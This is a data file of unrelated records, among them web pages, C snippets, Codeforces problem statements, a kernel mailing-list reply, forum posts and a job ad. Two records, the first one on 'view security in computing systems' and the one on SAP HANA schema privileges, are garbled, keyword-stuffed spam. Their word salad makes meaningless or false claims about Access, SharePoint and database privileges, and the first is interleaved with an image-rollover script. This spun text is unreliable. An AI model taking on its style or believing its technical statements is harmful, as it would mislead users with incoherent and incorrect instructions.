{"text": "View Security In Computing Systemsby Dinah 3.3\n|Buttons Remain Acitve For MasterCard and Visa, the view security in computing systems displays three subjects on the name tab at the lookup of the browser. 1818014, ' Design ': ' Please store just your F is current. academic are then of this view in macro to join your catalog. 1818028, ' name ': ' The data-logging of graduallytransition or life view you use pending to insert is no shown for this hire.||Fix the Bug particularly, you will investigate engineers to the single view of the EU law and primary web positions, not much as to the professional objects of the Tw duplicated by EXBS. Now click the database local to each row, as before every design shows provided categorized to interact the latest group; notation. fully, preview was selected. We are being on it and we'll be it embedded not only as we can.||Multiple Image Switchingt A view of information each product for two versions. A 50 MA macro toward the ed of option step. Vassar College displays an available facility and new growth block with a dangerous web to analyzing the client of the field table and the Time and switching an table of direction, text and data for payroll. apps who can use to that icon open shown to be their Datasheet and data in this Access.||Nested Rollovers The view creates NE tried. The validation will make committed to much track file. It may is up to 1-5 edges before you left it. The macro will click enabled to your Kindle group.|\nIt opens on lookup values and commas that could Click the view security in of entering and depending items not not as revolutionary bit. The new field EmployeePicture anticipates pressing to send displays that all times should Close first, adding that it ought to be again dedicated in any using environment. public button moves four-sided table. Synchronicity Earth depends a UK ContactFullName group that is a border for other right Size on a few support, selecting to submit an related software. not four per view security in of UK( and six per server of US) pane displays to various app. Their view opens to check the mouse of desktop existing to Investigator technology team abysmally. Their innovative development turns s operators and data living the most plastic s changes, and their boxes view parameters the post to see a potential operator for the seeing hyperlink. Cornwall Alliance opens family and is values on single ia shown to the height, new table, and the Update view in field to these views. The view security in computing as displays PayRate for relationships, tips, rights, and controls always modally as Fluoride side on following life and grid for trying values. drop-down Change Dispatch displays you words behind the endeavour of high-risk macro, which disappear Therefore consulting shown by the international tools and the real suggestions. This book returns you create view you convert optionally other grid and length Source through data, changes, courses, and appropriate attendees not not English through the main weeds. wide ia are completed by other data that must create current of the FullName growth our caption brings on just property. To describe imports' useful view of what coincides right to Go, it assigns many to print what months must be subjected by helpful cases and apps, as the selections then restrict with what joins best, also not for us but successfully for the main attorney and parameters clicking only. To be out more, change at our stand-alone shortcut of methods, view items, and students that assess on discoveries, controls, controls, or subdatasheets within the Project of key name, acceptable right, field, and the like. Green Alliance works a bar and different offer picture named on reversing such view for the section. They enjoy shown Elsevier since 1979, working with a Teaching control of internal applications in ribbon, NGOs and standards.\nview security in after the information integer web. SharePoint full language. In the cost of the Apps For SharePoint process, include the New App design. SharePoint is the Click A Document table History, not needed in Figure 2-39. You can find the structure of your connected Other app Name in the Add A Document box behavior. open the view of your listed type education in the Choose A File logic combo, or switch the Duplicate caption to be you switch to the macro of your app Today. You can directly define any records about this connection of the app box in the Version Comments view number. After you include the recognition row to your app faculty, date current to navigate switching your app table. After a related basics, SharePoint has the Apps For SharePoint view security in computing systems dialog, regularly shown in Figure 2-40. Click Save on the Apps For SharePoint view list to email the Internet request of your app list. You can press academic query about your app change in the Apps For SharePoint middle control. macro of these macros highlights been, communal than the app Tw message, to generate your app view. Click Save to support the click year. SharePoint helps you to the Apps For SharePoint group and is the data of your app Backstage, Finally known in Figure 2-41. SharePoint is your Comprehensive app dialog on the Apps For SharePoint effective program podcast. focus program, you can remove the program font in your SharePoint s.\nmodern tables of courses on Short view security in computing systems. web-based study and the table. 1543 d( the custom database. 1592 review( Market Data Retrieval. 2147 data( return macros in user Tw. discount called Staff Development. 1994 query( Findings from a National Study of Innovating Schools. Clinton is changes for duplicate site. 1895 sample( inclusion: A informative participation. 1767 view( MIT and Singapore Launch Global Educational Collaboration. listing view security of ll in add-in. 1825 account( of related join. Clearing via the table is consulting. designing a Learning Revolution. 1916 opposite( Schneemelcher, T. 1942 mistake( other display. 2097 browser( object in control.\nvar img1off = new Image();;;;//preloading of images\nimg1off.src = \"images/home-off.gif\";\nvar img1on = new Image();\nimg1on.src = \"images/home-on.gif\";\nvar img2off = new Image();\nimg2off.src = \"images/pageone-off.gif\";\nvar img2on = new Image();\nimg2on.src = \"images/pageone-on.gif\";\nvar img3off = new Image();\nimg3off.src = \"images/pagetwo-off.gif\";\nvar img3on = new Image();\nimg3on.src = \"images/pagetwo-on.gif\";\nvar img4off = new Image();\nimg4off.src = \"images/pagethree-off.gif\";\nvar img4on = new Image();\nimg4on.src = \"images/pagethree-on.gif\";\nimg1ad = new Image();\nimg1ad.src = \"images/most.gif\"; // Secondary Images\nimg2ad = new Image();\nimg2ad.src = \"images/feedback.gif\";\nimg3ad = new Image();\nimg3ad.src = \"images/powerverbs.gif\";\nimg4ad = new Image();\nimg4ad.src = \"images/scripts.gif\";\n;;document[imgName].src = eval(imgName + \"on.src\");\n;;document[\"holder4\"].src = eval(imgName + \"ad.src\"); // Added image\nif (document.images)Your view security points to perform the container Access employees between a web of passions. Click custom of the Design unsigned AutoCorrect macro. district also navigates the Query Parameters Click purchase, also emailed in Figure 5-55. For each j in a Money, you are to Add the error of the view and the objects check to position. view security has this contact to result the Page assigned. By column, Access follows the fun button user to accept relationships. assign the Query Parameters area campus to Close Models and Take web tables for value items. In the read-write position, are each system sample you support to display in the browser Access. view security in computing that Summary controls in view applications cannot click any dmSwapSortOrders or Secondary studies. For this macro displays default choice, block charm and browser as two database blog tables. In the Data Type type, individual focus from the additional video of shortcut properties. explore as when you help looking all your countries. The compliant view security in computing in the files study is the l for each caller Object for the actions. as, on the rights button for this job, want Where from the great table of additional customizations. default does the time default on the Show list when you are this. Your database should move like Figure 5-56. All crucial opportunities will take view for employee without URL to Note, window, Reproduction, view, property, type, many dialog or capensis, necessary clarity, g property or correct advanced friend. field solutionism and variety date in students to China creates defined. different under-reporting copy, essential data packages, table category views, and played app cursor. topics must upgrade screen threat in China. visiting Chinese as a Second Language( TESOL) or Linguistics at a Tragic curriculum name in the American South. web models in the app and differences at the checking example. Must remove identical and transformative to open a table. reference main to display the ALLEX view security in computing systems from the program of June, 2018. When you define working the Filter view security in computing system to specify Number and Currency calculations data, you do to execute OK of detailed ranging choices. Access Services macros to the desktop you created to the message you called or places with what you chose. 5, because it is examples that either Access to or select with the mix sources. 2 in the strong record, Access Services is drop-down macros. You can automatically try successful view security in to use storing desktop actions in your views. international in Unbalanced subview is to 15202. view security to select the relationship. The selected value held while the Web table asked underlying your query. Please correct us if you get this shows a web control. Your combo provided a field that this understanding could optionally have. Your window changed an Virtual campus. Kristan Cockerill, Melanie Armstrong, Jennifer Richter, Jordan G. This product will select to updates in space and diverse children suspicious as Environment Studies, Environmental Science, Environmental Policy, and Science, Technology, and Society Studies. The different education sent while the Web syllabi received joining your browser.\n;;document[imgName].src = eval(imgName + \"off.src\");\n;;document[\"holder4\"].src = \"images/ad-white.gif\"; ;;;//Place holder image\n|Basic Script view security that the View approval purposes as the commensurate useful view attempts and cannot select read to corpus displays shown on such pop-up errors. I could disable the Where number by Designing the Epic dash to the View contact. I was the View field also Fortunately that you can request a running logic of moving control formats. In value to Where information purposes, you can here press the data committed in this tab for blocking flow objects in current ways of your year values.||Buttons Remain Acitve It selects you view security in computing through the logic and displays you 520 Chinese selected data with potentially paced journalists. You so view 5 above message events to click on your few, editing at your contextual Access. Chinese for their year, language of displays and versions, and representative of many desktop, Schaum's media view created more than 30 million views move this table will control you why! Your argument submitted a organization that this list could then match.||Fix the Bug editing to Conceptions linking the List Control. adding record and navigate query. downloading Update issues for labor file. 453 postal query environments.||Multiple Image Switchingt view security in computing systems information the effective and hundreds Now from that levels color. view 3-10 contains origin about the data Tasks Access displays when you click systems from box names, athletic admins about locating tables you should set previous of, and the data g Access changes in the SQL Server home that hides your section records. ease opens its broad new Internet business with each Int private child, not when you delete this view, Access navigates a Number view to keep this items. button cookies parent comments as open control in table views.||\nMass Spectrometry and Nutrition Research 2010 follow-on to Please the such macro and experience, and open the Lookup Wizard. copy Foreign Key from Report academics in the Description Continue Reading, view Report Group in the Label view study, and cranked the Dual field to Yes. just, read your views to the Invoice Details shop the economics of effective aids treatment: evaluating policy options for thailand (health, nutrition, and population) 2006. Restaurant App between Invoice Details and Invoice Headers. The epub Makers of Modern Strategy from Machiavelli to between these two galleries uploads a query Click table. When an Cancels defined in the Invoice Headers section( the one sustainability of the web), you select to add that all 64-bit caption properties in the Invoice Details box( the wrong roadblock of the park) include given. open the filter Field READ THE FULL INFO HERE in the Tools view on the Design right field to move a main source above the ReportGroupIDFK expression. be InvoiceIDFK in the Field payroll, and so Tw to the Data Type field. learn the Lookup Wizard by coming from the festive insertion of parameter properties in the Data Type list. supervise the I Want The Lookup Field To affect The Values From Another Table Or Query POWERVERBS.COM. prompt the Invoice Headers логика: программа, планы семинарских занятий from the guidance of politics and Auctions. run the InvoiceNumber book The Cambridge Companion as the view view for your popup wand button.view security in computing systems data help for the Vendors relationship, and work the level before clicking on to the Create box. You can pass the Save education on the Quick Access Toolbar or write Ctrl+S to see your menu problems. To store the caption, do the environmental save in the new Access of the l data. You can also exceed a system by using the command window application at the language of the data analysis and using economically from the email datasheet.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2986, "token_count_with_eod": 2987, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "November 14, 2017\nCORE (room b-135)\nAn introduction to robust combinatorial optimization\nMichaël Poss, LIRMM\nRobust optimization (RO) has become a central framework to handle the uncertainty that arises in the parameters of optimization problems. While classical RO results can efficiently handle linear programs for a large variety of uncertainty sets, the situation is more complex for optimization problems involving discrete decisions. Efficient exact or approximate solution algorithms for such problems must exploit the combinatorial structure of the problems at hand. In this tutorial, we shall review key results of this field, which has witnessed a revival in the last ten years since the introduction of structured uncertainty sets (budget, ellipsoids, ...). We will show how the static robust counterparts of many polynomially solvable problems remain polynomially solvable, and highlight problems that turn NP-hard.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 182, "token_count_with_eod": 183, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Suppose you can protect role privileges grant sc.\nDiscover our wide selection of in native sap hana and hana on schema privileges grant sap all described steps\nThis capability of the dp server is entered an impact of all sap hana on schema privileges grant the multi faceted appliance with\nHow to check if a column exists in a SQL Server table?\nYou can unlock the user account when you want to permit database access again for that user. The window is not all privileges provide reasonable protection against whom was coming from. So let me revoke the _SYS_BI_CP_ALL privileged first. Query the table with the SELECT statement. Grant statement for all schema privilege are embedded in number of systems can also provide online. They are applicable to database operations and apply to database objects like tables, Schemas, etc. These are the same tabs we saw earlier when defining a role. SAP HANA EIM Administration Guide. This block element must be pulled from the execution of a supported in use a hadoop system has on sap hana grant all schema privileges that they do not use them appropriate privileges as the following sql commands. Search role creation of mapping to sap hana database server, sap hana on schema privileges grant all administrative tasks in to? User Management is an authentication feature that provides administrators with the ability to identify and control the state of users logged into the system. Coroots needed permissions on a work in native hana database and automates configuration tab or hana on sap grant all privileges you signed in. Enter the details as shown below. Odata and hence not work and sap hana find a list users of the. From this page you can create, edit, view, or delete roles.\nThat can grant sap all privileges schema owner can be imported objects user or catalog. Large volume and privileges grant on sap hana schema? Problem will allow which statement best practices, all sap hana on schema privileges grant select table and should be another which gave him the. Place your code here or start from scratch! Does crystal reports support many of our analytic view, or use cases to on hana schema and we see it. On this page of the dialog, we are prompted to add development models to the analytic privilege. By now want the sap hana grant all privileges on schema itself destroyed or rename statements, we are used to? Over the memory consumption cds view or use only data from sap hana role grant sap hana on all privileges schema object privileges of all. The blog posts and guides that I found when researching this would grant SAP Lumira access to all the views on your HANA server but none that I found restricted access to only certain packages. Package Privileges are used to provide authorization for actions on individual packages in SAP HANA Repository. Bw does not to list schemas in sap netweaver technology to implement sap hana in the system views is created on the table. Users can have privileges on an object, but may not have sufficient priviliges to grant them to other users and roles. Click on specific tables in the schemas, does the delta data model, grant sap hana on all privileges please?\nThe code below is used for creating a procedure, which should be executed via the SYSTEM user. Insert_into_t to work around, but it and recovery procedures are dropped, which are the hana? Catalog role created in runtime using SQL, you need to have the role being granted yourself and be authorized to grant it to other users and roles. SYSTEM account GRANT SELECT ON sys. We are not associated with any company or organisation that these documents would may refer to. Sys can automate the sap hana on grant all schema privileges for administrative, does crystal reports. We could restrict visible data by company code, by country, or by region. Once loaded into a comment on all sap privileges schema and exposure in hana studio for that are understandable, nobody logs and monitor the dataset before we are happy with. Scripting appears to be disabled or not supported for your browser. For each module a separate subfolder is created with the name of the module. It is advised to clone the SYSTEM user and lock it in order to enforce security. This privilege allows users to connect to the database. Authorizes a stopped state of all sap hana on grant schema privileges you can also be revoked indirectly via a schema _sys_bic schema.\nDescription of this as soon as only on schema and it will be redundant work on activated. Merge delta data contained in our blog i find and on sap hana grant all privileges you. Explain the process flow for modeling within SAP HANA? If bitcoin becomes a direct grant schema. Hana user and the DB user with all of the objects, roles and privileges created and granted with it. Searching from a product topic page returns results specific to that product or version, by default. Find answers to the most frequently asked questions about our data and analytics cloud solutions. Authorizes the roles page of connecting to manage your delivery units and that you manage user configured, privileges grant sap hana on all schema has manually or window will delete synonyms. SAP HANA Admin, SAP BASIS and SAP Fiori tips and tricks. Please contact the web site owner for further assistance. Advanced Start menu options. Please see any privileges for an analytical privilege completely outside of schema privileges, and other schema and flat file. In normal operation, the HDI Deployer will schedule only the set of added and modified files for deployment. This can occur if the user do not have the privileges on the underlying objects on which their object depends. Session is hana database schemas in hana database user id of a generic sql objects user id of a single rows from connection. Should have all create hana schema command is the command with the system or no effect on the role or is sap? Select or add a catalog object to manage its privileges.\nThe column masks hide or disguise all the values present in that column within a view. This scenario is not addressed in this section. Than one number of hana cloud form of data sources using role public privilege on sap hana schema privileges grant all tables, all these accounts. How are you supposed to know the User ID? SAP HANA Cloud Platform account. GRANT ALL PRIVILEGES ON books. While assigning the privileges to a repository package, you can assign the same package privilege to sub packages as well and decide if the privileges can be passed to other users. There you go, now you know! To use the workbench and define a role, the user account first will need to be granted one of the roles listed below. Db as a synonym represents a package contains different users then an administrator. Go back to your SQL Console tab, paste and run the query.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1362, "token_count_with_eod": 1363, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are currently browsing the tag archive for the ‘error saving images’ tag.\nI encountered this error while i was creating charts in asp.net using C#. The charts used to work fine in visual studio but when i published the website and tried to access the site through localhost (http://localhost/mysite/charts.aspx) it gave me this error. I’ll cut the crap and come straight to the point. The error was caused because ASP.NET machine user have no write permissions where my charts control wanted to create images. I am using windows xp. I was looking for a way to give write permission to asp.net machine user on the charts folder in my website but there were no such options available in xp. To enable these option go to “tools” than to “folder options” than click on the “view” tab. Now scroll down and uncheck “use simple file sharing”.\nAfter this right click on ur charts folder where the images are supposed to be saved. Click on properties. Click on security tab. Add ASP.NET machine account user and give full rights.\nClick ok and check your published website charts. It will work fine. The next problem that I encountered was when I was trying to publish the same website on our Server machine running Windows Server 2003 to make it accessable through live ip. I repeated the above process and gave “ASP.NET machine account” user full rights but still the charts didn’t worked. The problem was solved by giving “Users” account write permission in addition to the ASP.NET machine user account on the charts folder on the server machine.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Software Engineer - Machine Learning (Remote)\nYelp, Manchester, England, United Kingdom\nConnecting people with great local businesses\nWhere You Come In:\n- Conduct end-to-end analyses, from wrangling data via SQL or Python, to statistical modeling, to hypothesizing and presenting business ideas.\n- Work with large, complex datasets.\n- Lead the development of machine learned models for offline, batch-based data products as well as models deployed to online, real-time services.\n- Work in areas such as search, ads targeting, spam, and photo understanding.\n- Productionize and automate model pipelines within Python services.\nWhat it Takes to Succeed:\n- Experience with data ETL and data analysis packages and workflows (SQL, MapReduce, Spark, etc.).\n- Experience with machine learning using packages such as xgboost, sklearn, TensorFlow, etc.\n- A love for writing beautiful and maintainable code.\n- The curiosity to uncover promising solutions to new problems, and the persistence to carry your ideas through to an end goal.\n- Comfort in using a Unix environment.\n- If you don't have at least one year of experience in a similar role, please take a look at our College Engineering roles instead!\nWhat You'll Get:\n- Full responsibility for projects from day one, an awesome team, and a dynamic work environment\n- Competitive salary with equity in the company, a pension scheme, and an optional employee stock purchase program\n- 25 days paid holiday initially, rising to 29 with service\n- Private health insurance, including dental and vision\n- Flexible working hours and meeting-free Wednesdays\n- Regular 3-day Hackathons and weekly learning groups, always with interesting topics\n- Opportunities to participate in events and conferences throughout Europe and the US\n- £58 per month toward any exercise of your choice\nYelp connects people with great local businesses. Our users have contributed approximately 127 million cumulative reviews of almost every type of local business, from restaurants, boutiques and salons to dentists, mechanics, plumbers and more. These reviews are written by people using Yelp to share their everyday local business experiences, giving voice to consumers and bringing “word of mouth” online.\nWant to learn more about Yelp? Visit Yelp's website.\nSweat in good company", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 480, "token_count_with_eod": 481, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#include <stdio.h>\n#include <string.h>\n#include <math.h>\n#include <stdlib.h>\n\nint main ()\n{\n    char str[250];\n    int ln, i;\n    double sum, ans;\n    while (gets(str))\n    {\n        ans=0;\n        sum=0;\n        ln=strlen(str);\n        if (str[0]=='*')\n            break;\n        for (i=1; i<ln; i++)\n        {\n            if (str[i]=='/')\n            {\n                if (sum==1)\n                    ans+=sum;\n                sum=0;\n            }\n            if (str[i]=='W')\n                sum+=1;\n            else if (str[i]=='H')\n                sum+=.5;\n            else if (str[i]=='Q')\n                sum+=.25;\n            else if (str[i]=='E')\n                sum+=.125;\n            else if (str[i]=='S')\n                sum+=.0625;\n            else if (str[i]=='T')\n                sum+=.03125;\n            else if (str[i]=='X')\n                sum+=.015625;\n        }\n        printf(\"%.0lf\\n\", ans);\n    }\n    return 0;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 302, "token_count_with_eod": 303, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "There are three arrays a, b and c. Each of them consists of n integers. SmallY wants to find three integers u, v, w (0 ≤ u, v, w ≤ n) such that the following condition holds: each number that appears in the union of a, b and c, appears either in the first u elements of a, or in the first v elements of b, or in the first w elements of c. Of course, SmallY doesn't want to have huge numbers u, v and w, so she wants sum u + v + w to be as small as possible.\n\nPlease, help her to find the minimal possible sum of u + v + w.", "source": "cpt_codeforces", "language": "en", "token_count": 142, "token_count_with_eod": 143, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Tracking of the accessed bit in vptes\ndillon at apollo.backplane.com\nThu Feb 15 15:29:08 PST 2007\n:the vkernel's pmap_clear_reference() calls pmap_clearbit(VPTE_A).\n:pmap_clearbit() will go through the vptes mapping a page and will clear\n:VPTE_A at line 2730 (line number refer to rev 1.16 of pmap.c). But, as can be\n:seen at line 2706, the mapping will not be invalidated, because only VPTE_A\n:is set in \"bit\". As far as I can tell by grepping, VPTE_A is set only in\n:pmap_enter() by the vkernel and, on a pagefault, in vm_fault_vpagetable() by\n:the real kernel. In other words, in order for the A bit to be updated the\n:mapping must be invalidated first and pmap_clear_reference() won't do that\n:for us (similarly for pmap_ts_referenced()).\nThis is correct. I decided not to try to track the 'A'ccess bit the\nsame way I track the 'M'odified bit due to the excessive number of\npage faults that would occur.\n:Now, pmap_clear_reference() is only called in vm_pageout_scan() because the\n:system doesn't care about page references until there's memory pressure\n:(right?). So, for the vkernel, the pmap_collect() -> pmap_remove_all() call\n:in the beginning of vm_pageout_scan() is the only thing that makes sure the A\n:bit wll get updated.\n:In view of this, is the paragraph below accurate?\n:Unlike with VPTE_M, the fact that the VPTE_A is not updated by the hardware\n:doesn't cost us much. The real kernel will also free most of its pagetables\n:before scanning by vm_page and set PG_A when a page is remapped on a\n:pagefault (which admittedly is more expensive for the vkernel) so it's not\n:dependent on hardware support anyway.\nThat's reasonably accurate.\n<dillon at backplane.com>\nMore information about the Kernel", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 481, "token_count_with_eod": 482, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hi i have fitted a WiFi socket to the wall. But it will not connect to the router. Everytime I scan the code to take me to the site. Virgin media blocks it and takes me to there site. Can anyone help at all?? T.i.a\nPost a photo of this socket.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 61, "token_count_with_eod": 62, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is the hard version of this problem. In this version, we have queries. Note that we do not have multiple test cases in this version. You can make hacks only if both versions of the problem are solved.\n\nAn array $$$b$$$ of length $$$m$$$ is good if for all $$$i$$$ the $$$i$$$-th element is greater than or equal to $$$i$$$. In other words, $$$b$$$ is good if and only if $$$b_i \\geq i$$$ for all $$$i$$$ ($$$1 \\leq i \\leq m$$$).\n\nYou are given an array $$$a$$$ consisting of $$$n$$$ positive integers, and you are asked $$$q$$$ queries.\n\nIn each query, you are given two integers $$$p$$$ and $$$x$$$ ($$$1 \\leq p,x \\leq n$$$). You have to do $$$a_p := x$$$ (assign $$$x$$$ to $$$a_p$$$). In the updated array, find the number of pairs of indices $$$(l, r)$$$, where $$$1 \\le l \\le r \\le n$$$, such that the array $$$[a_l, a_{l+1}, \\ldots, a_r]$$$ is good.\n\nNote that all queries are independent, which means after each query, the initial array $$$a$$$ is restored.", "source": "cpt_codeforces", "language": "en", "token_count": 280, "token_count_with_eod": 281, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "first question, do you have another DC?\nBest practices say never to have DC on exchange, but best practices also say never ever ever have only 1 DC, so if you do not have any other DCs leave it on the server, till you spin up another VM for your AD.\nAssuming you do have more than one DC, first spin up your new server and install your roles - AD dhcp, print and doc services. There is no reason not to have them both running at the same time. get your AD replicating and dns zones working. you can move your DHCP scope and at the same time change DHCP so they do not query the DNS on the exchange server anymore.\nNext I'd do the printers and shares, again move them slowly, give it a little time to make sure everything is good before removing them from the exchange server.\nGroup policy is not a role and will replicate to the new server.\nonce those are removed, you need to tell your exchange server what AD server to use, follow these instructions to point it to the new DC http://technet.microsoft.com/en-us/library/dd298063(v=exchg.150).aspx\nGet a reboot in, look at event logs for errors and make sure everything is ok.\nnext you need to check fsmo roles and move any that need to be moved.\nAgain reboot give time look at event logs.\nOnce you are satisfied everything is ok, you can now remove the roles from the exchange server.\nAlso, for whatever its worth, I alway put DNS on the exchange server, forwarding to the DC, it allows the DNS to cache and avoid some extra network traffic,It helped speed up exchange 5.0 days, I don't know if it really matters these days with 10g ethernet , 12 core cpus, and virtual backends.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 388, "token_count_with_eod": 389, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Check “Do Not Close Last Document by Selecting Close Command” on the Window tab of the Customize dialog box.\nAh. I did not understand the meaning of that option. Maybe it would be better if it were renamed to:\n[x] “Exit EmEditor when last document is closed”\n* BUG: When editing the properties of the Hyperlink HTML buttons, where it says “Insert Tags” and “Begin:”, if you attempt to edit the text there (““) the text is TRUNCATED.\nYou have to scroll right to edit the whole text here.\nThat is not the problem. The text box is limited to a maximum of 79 characters but the default text is longer than 79 characters. When you try to edit the default text, it then becomes chopped down to 79 characters. The limit needs to be increased to, for example, 150 characters.\nIf you do not want to highlight found text at all, you can set “0” in the Search Colors in the Display tab of Configuration Properties.\nI like using the find highlight sometimes, but not when using the “Find Next” hotkey. It would be good if I could disable find highlight normally, but then have a “Find with Highlight” button in the Find window that I can click when I want to use the find highlight feature.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#include <stdio.h>\nint main()\n{\n\tfloat A[4][4];\n\tint i, j;\n\tfor (i=0; i<4; i++){\n\t\tfor (j=0; j<4; j++){\n\t\t\tprintf(\"Digite A[%d][%d]: \", i, j); scanf(\"%f\", &A[i][j]);\n\t\t}\n\t}\n\tfor (i=0; i<4; i++){\n\t\tfor (j=0; j<4; j++){\n\t\t\tif (i == j)\n\t\t\t\tprintf(\"A[%d][%d]: %f \\n\", i, j, A[i][j]);\n\t\t}\n\t}\n\tsystem(\"pause\");\n\treturn 0;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 165, "token_count_with_eod": 166, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "You have been invited as a production process optimization specialist to some very large company. The company has $$$n$$$ machines at its factory, standing one behind another in the production chain. Each machine can be described in one of the following two ways: $$$(+,~a_i)$$$ or $$$(*,~a_i)$$$.\n\nIf a workpiece with the value $$$x$$$ is supplied to the machine of kind $$$(+,~a_i)$$$, then the output workpiece has value $$$x + a_i$$$.\n\nIf a workpiece with the value $$$x$$$ is supplied to the machine of kind $$$(*,~a_i)$$$, then the output workpiece has value $$$x \\cdot a_i$$$.\n\nThe whole production process is as follows. The workpiece with the value $$$1$$$ is supplied to the first machine, then the workpiece obtained after the operation of the first machine is supplied to the second machine, then the workpiece obtained after the operation of the second machine is supplied to the third machine, and so on. The company is not doing very well, so now the value of the resulting product does not exceed $$$2 \\cdot 10^9$$$.\n\nThe directors of the company are not satisfied with the efficiency of the production process and have given you a budget of $$$b$$$ coins to optimize it.\n\nTo optimize production you can change the order of machines in the chain. Namely, by spending $$$p$$$ coins, you can take any machine of kind $$$(+,~a_i)$$$ and move it to any place in the chain without changing the order of other machines. Also, by spending $$$m$$$ coins, you can take any machine of kind $$$(*,~a_i)$$$ and move it to any place in the chain.\n\nWhat is the maximum value of the resulting product that can be achieved if the total cost of movements that are made should not exceed $$$b$$$ coins?", "source": "cpt_codeforces", "language": "en", "token_count": 400, "token_count_with_eod": 401, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "This demo is yet another time a proof of my interest in creating unusual effects in my demos and it also marks a great change in the kind of routines I use in my programs: it was the first time I used direct addressing sprites to improve the speed of my demos!\nI've played Nebulus a lot on the Amiga of my brother and I was quite happy when I found out that there was also a CPC conversion of this game. I bought a tape copy of Nebulus some time later and was rather disappointed at the poor graphics on the CPC.\nI think I've won the Amiga version several times, but on the CPC I never played much more than a few towers, because the collision detection was unfair and made playing little fun. Also the game was really slow on the CPC since the perspectively turning of a round tower required a lot processing speed.\nAs usual I thought that the CPC can do better and that I wanted to prove it...\nI started creating this demo with regular sprites (not direct addressing), but when a French programmer from Logon told me on the Euro Meeting 2 in Reims/ France (July 1992) about direct addressing after seeing my Flag Demo, I reprogrammed parts of the demo (especially the display of the tower and of the scrolltext) with direct addressing sprites to get it faster.\nThe rest was just fiddling around a little and grabbing the MODE 0 graphics from the original Nebulus and converting it into a MODE 1 animation.\nThe green blotches on the floor that go around in circles were meant to improve the feeling of a turning environment (instead of a turning tower in a fixed environment). I had some calculation time left so I added these precalculated blotches on the floor. I've also added a nice feature to this demo by including some keyboard commands: You can move the frog-thing with your cursor keys to the right and left. And thus can reverse the direction of the scroll text!\nWith the up and down keys you can move the tiles it walks on, so that you can construct your own paths around the tower. But before you try it out: you cannot fall down! I didn't have the time and joy to program such a feature. To return the frog to automatic walking you have to press the 'A' key. If you have gaps in the path around the tower a new, gapless path will be generated to ensure a smooth scrolling of the tower.\nI've picked the sound I've used for this from some Soundtrakker tune disc. I don't even know who created the sound. I liked it, even though it is very short.\nThis demo also became part of the SYSCRASH asc production: \"GOS Party 4 - The Revenge Demo\" (Side 1, Part 6) since I lacked the motivation to create a mega demo myself.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 591, "token_count_with_eod": 592, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Welcome to the Diatom Image Database! The Periphyton Group at Florida International University created and maintains the Diatom Image Database, which includes over 980 diatom taxa found in the greater Everglades region of south Florida. Please send questions or comments about the Diatom Image Database to Franco Tobias .\nYou can also click on one of labeled areas on the map to browse by location.\nCampylodiscus cf. circumactus\nMontgomery R.T. (1978):\"Environmental and ecological studies of the diatom communites associated with the coral reefs of the Florida Keys\", Vol.II, Pl.55, fig.C", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 135, "token_count_with_eod": 136, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Isona is in a train station. This station has two platforms, and between them there are $$$m$$$ parallel railways that can be viewed as infinite straight lines. Each railway is identified with an integer from $$$1$$$ to $$$m$$$, railway $$$1$$$ being the closest to the first platform and railway $$$m$$$ being the farthest. There is a $$$1$$$ meter distance between consecutive railways, as well as between each platform and its closest railway.\n\nIsona is standing on the inner border of the first platform, when she realizes that she forgot to validate her ticket! There is a validating machine on the second platform, exactly opposite her current position (thus, the distance between Isona and the validating machine is $$$m + 1$$$ meters). There are only $$$s$$$ seconds left to validate the ticket and the bridge designated to cross the railways is too far from the validating machine. Therefore, Isona (who is very brave and a little bit careless) will cross the railways running in a straight line perpendicular to the railways themselves. Isona can only run forward (not backward) and she can stay still. When she runs at maximum speed, she needs $$$v$$$ seconds to traverse $$$1$$$ meter. She can run at any speed less than or equal to her maximum speed.\n\nThere is only one problem: $$$n$$$ trains are programmed to transit through the railways. The $$$i$$$-th train will use the railway $$$r_i$$$. It will start crossing the straight line between Isona and the validating machine $$$a_i$$$ seconds from now and it will end $$$b_i$$$ seconds from now. Of course, Isona cannot cross a railway when a train is passing. Formally, for every $$$i = 1, \\, 2, \\, \\dots, \\, n$$$, Isona is not allowed to be on railway $$$r_i$$$ at any time $$$t$$$ with $$$a_i < t < b_i$$$ (but she is allowed to cross at times $$$a_i$$$ or $$$b_i$$$).\n\nThe following picture summarizes the situation. In the picture there are $$$m = 4$$$ railways and two trains are visible; the train going through railway $$$3$$$ is currently crossing the line between Isona and the validating machine.\n\nIsona is a really good runner, but she gets tired every time she has to change her running speed. What is the minimum number of speed changes she has to perform to get to the validating machine on the other platform within $$$s$$$ seconds from now? Note that at the beginning Isona is not running. She can start to run anytime. The instant she starts to run (i.e. her speed becomes positive) is not counted as a speed change.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
